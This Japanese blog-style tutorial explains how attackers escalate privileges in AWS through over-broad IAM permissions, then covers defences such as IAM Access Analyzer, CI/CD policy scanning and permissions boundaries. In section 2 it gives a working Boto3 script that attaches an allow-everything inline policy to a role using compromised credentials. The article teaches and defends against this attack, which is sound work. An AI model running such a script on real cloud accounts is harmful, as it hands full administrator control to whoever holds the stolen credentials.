【テクニカル・上級編】 クラウド環境におけるIAM権限の過剰付与と特権昇格 – オフェンシブセキュリティ & リバースエンジニアリング防御ガイド

クラウドの王鍵:IAM権限の過剰付与がもたらす静かなる陥落

ペネトレーションテストの現場において、クラウド環境(AWS, Azure, GCP)の初期侵入に成功した際、私たちが真っ先に確認するのは脆弱なコンテナのバージョンでもなければ、パッチ未適用のミドルウェアでもない。それは、現在足場を確保しているプリンシパル(IAMユーザー、ロール、サービスアカウント)に付与されている「権限」の全貌だ。

多くの組織は「クラウドだから安全だ」という漠然とした神話を信じ込んでいる。しかし、オンプレミス時代に築き上げた境界防御の概念をそのままクラウドに持ち込んだ結果、何重ものファイアウォールを突破された後と同じか、それ以上に致命的な状況を自ら作り出している。クラウドにおけるペリメーターは「アイデンティティ(ID)」そのものであり、IAMポリシーの不備は、城の門を開け放したまま番兵に居眠りを許しているようなものだ。

今回は、AWSを主な舞台として、攻撃者がどのようにして「設定の不備(Misconfiguration)」という名のロジックバグを突き、初期侵入の足場からクラウドアカウントの完全掌握(Root/Administrator権限の奪取)へと駆け上がるのか、その生々しいメカニズムと防御の急所を解説しよう。

1. 攻撃者の視点:なぜIAM権限の昇格が容易なのか

クラウド環境における特権昇格(Privilege Escalation)は、OSのメモリ破壊脆弱性(スタックバッファオーバーフローなど)を突くような複雑なエクスプロイトを必要としない。ここにあるのは、JSONで記述されたパーミッションの論理的矛盾、そして開発現場における「動かないからとりあえず *(ワイルドカード)を付与しておこう」という悪質な慣習が生み出したビジネスロジックの破綻だ。

攻撃者は、侵害したリソースから sts:GetCallerIdentity を実行し、自身の立場を確認した直後、自動化スクリプトを用いて次のような「危険なAPIの組み合わせ」をスキャンする。

  • iam:CreateAccessKey / iam:CreateLoginProfile(自身のユーザーに対するクレデンシャル追加)
  • iam:UpdateAssumeRolePolicy(アサームロールの信頼ポリシーの書き換え)
  • iam:PutUserPolicy / iam:PutGroupPolicy / iam:PutRolePolicy(インラインポリシーの追加)
  • sts:AssumeRole(過剰に強い権限を持つ別ロールへのスイッチ)
  • lambda:CreateFunction および関連する実行ロールの悪用

これらは単体では無害に見える権限であっても、組み合わせることで容易に管理者権限へと化ける。特に、AWSのIAMポリシー評価ロジックにおける「明示的な拒否(Explicit Deny)がない限り、許可(Allow)が優先される」という特性は、複雑化してスパゲッティ状態になったポリシーの隙間を縫う攻撃者にとって格好の餌食となる。

2. 実践的特権昇格シナリオ:インラインポリシーの悪用

現場で最も頻繁に遭遇するアンチパターンの一つが、「特定の管理作業のために一部のIAM操作を許可したが、そのスコープが広すぎたケース」だ。例えば、開発者がデバッグのために iam:* や、より限定的に見せかけた iam:PutRolePolicy を持っている場合を考えてみよう。

もし攻撃者が iam:PutRolePolicy または iam:UpdateAssumeRolePolicy の権限を持つロールを奪取した場合、彼らは以下のような手順で数秒のうちに環境の覇者となる。

ステップ1: 既存の弱小ロールに対するインラインポリシーの付与

攻撃者は、自身が制御下に置いている(あるいは新しく作成した)ロールやユーザーに対し、無制限の権限(AdministratorAccess 相当)を付与するインラインポリシーをアタッチする。

以下は、ペネトレーションテストや監査スクリプトで使用される、Python(Boto3)を用いた特権昇格の概念コードである。実務において、このような設定が監査で検出されないか確認してほしい。

import boto3
from botocore.exceptions import ClientError

def escalate_privileges(target_role_name):
    """
    制御下にあるロールに対して、AWSの全リソースに対する管理者権限(*)を
    インラインポリシーとして強制付与し、特権昇格を試みる関数。
    """
    # セッションの初期化(侵害された認証情報を想定)
    iam_client = boto3.client('iam')
    
    # 付与する悪意あるポリシーの定義(全ての操作、全てのリソースを許可)
    malicious_policy = {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Effect": "Allow",
                "Action": "*",
                "Resource": "*"
            }
        ]
    }
    
    try:
        print(f"[*] ターゲットロール '{target_role_name}' に対する権限昇格を実行中...")
        
        # put_role_policy を使用してインラインポリシーを上書き・追加
        iam_client.put_role_policy(
            RoleName=target_role_name,
            PolicyName='EmergencyAdminAccess',
            PolicyDocument=str(malicious_policy).replace("'", '"')
        )
        
        print(f"[+] 成功: ロール '{target_role_name}' に管理者権限が付与されました。")
        
    except ClientError as e:
        print(f"[-] 失敗: 権限昇格に失敗しました。エラー: {e.response['Error']['Message']}")

if __name__ == "__main__":
    # 侵害された環境内で自身がアタッチできる、または変更可能なロール名を指定
    target_role = "DeploymentAutomationRole"
    escalate_privileges(target_role)

このコードが実行されると、指定されたロールは瞬時にクラウド環境内のあらゆるAPI(S3データの窃取、EC2インスタンスの乗っ取り、バックドアとしての新規IAMユーザー作成など)を自由に実行できるようになる。

3. 防御と監査のアーキテクチャ:最小権限の原則(PoLP)の徹底

このような悪夢を防ぐためには、従来の「事後的なログ監視」だけでは不十分だ。インシデントが発生した瞬間に被害を最小化するため、インフラストラクチャー・作為・ポリシー管理の全レイヤでプロアクティブな対策を講じる必要がある。

① IAM Access Analyzerの常時有効化とCI/CDパイプラインへの組み込み

AWS IAM Access Analyzerを活用し、外部公開されているリソースや、予期せぬクロスアカウントアクセスが発生していないかをリアルタイムで検知する。さらに、TerraformやAWS CloudFormationなどのIaC(Infrastructure as Code)のビルドパイプラインに、Checkov や tfsec などの静的解析ツールを組み込み、次のような危険なポリシー定義をコミット段階でブロックしなければならない。

# 【アンチパターン】このようなワイルドカードを用いたポリシーはCI/CDで必ず弾くべき
resource "aws_iam_policy" "bad_example" {
  name        = "OverlyPermissivePolicy"
  description = "危険なワイルドカードを含むポリシーの例"

  policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
      {
        Action   = "iam:*"  # 危険: IAMの全操作が許可されている
        Effect   = "Allow"
        Resource = "*"
      }
    ]
  })
}

② 権限境界(Permission Boundaries)の強制

開発者やサードパーティ製ツールに権限を委譲する場合でも、PermissionsBoundary を用いることで「このロールが作成・変更できるポリシーの最大値」をハードリミットとして設定する。これにより、たとえ開発者が誤って iam:PutRolePolicy で管理者権限を付与しようとしても、境界ポリシーによってその試みは自動的に拒否される。

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "NotAction": [
                "iam:CreateUser",
                "iam:CreateRole",
                "iam:Put*",
                "iam:AttachRolePolicy"
            ],
            "Resource": "*"
        }
    ]
}

上記のような境界を組織の全IAMエンティティのデフォルトとして強制することが、特権昇格の連鎖を断ち切る最も効果的な防壁となる。

4. 結びにかえて:クラウドセキュリティの本質は「設計の美しさ」にある

クラウドのセキュリティは、高価なセキュリティ製品を導入すれば完了するような単純なものではない。それは、コードと同様に「美しく、無駄がなく、意図が明確な設計」がされているかどうかに依存している。

攻撃者は常に「最も抵抗の少ない経路」を探している。IAMの過剰付与は、彼らにとって最も高速で確実な高速道路だ。今すぐ自社のAWS/Azure/GCP環境のIAMポリシーを見直し、「誰が・何のために・最小限どのリクエストを許可されているか」をコードベースで検証してほしい。インシデントアラートが鳴り響く前に、その「開いたままの門」を閉ざすのは、他の誰でもない、あなた自身の責務なのだから。

コメント

タイトルとURLをコピーしました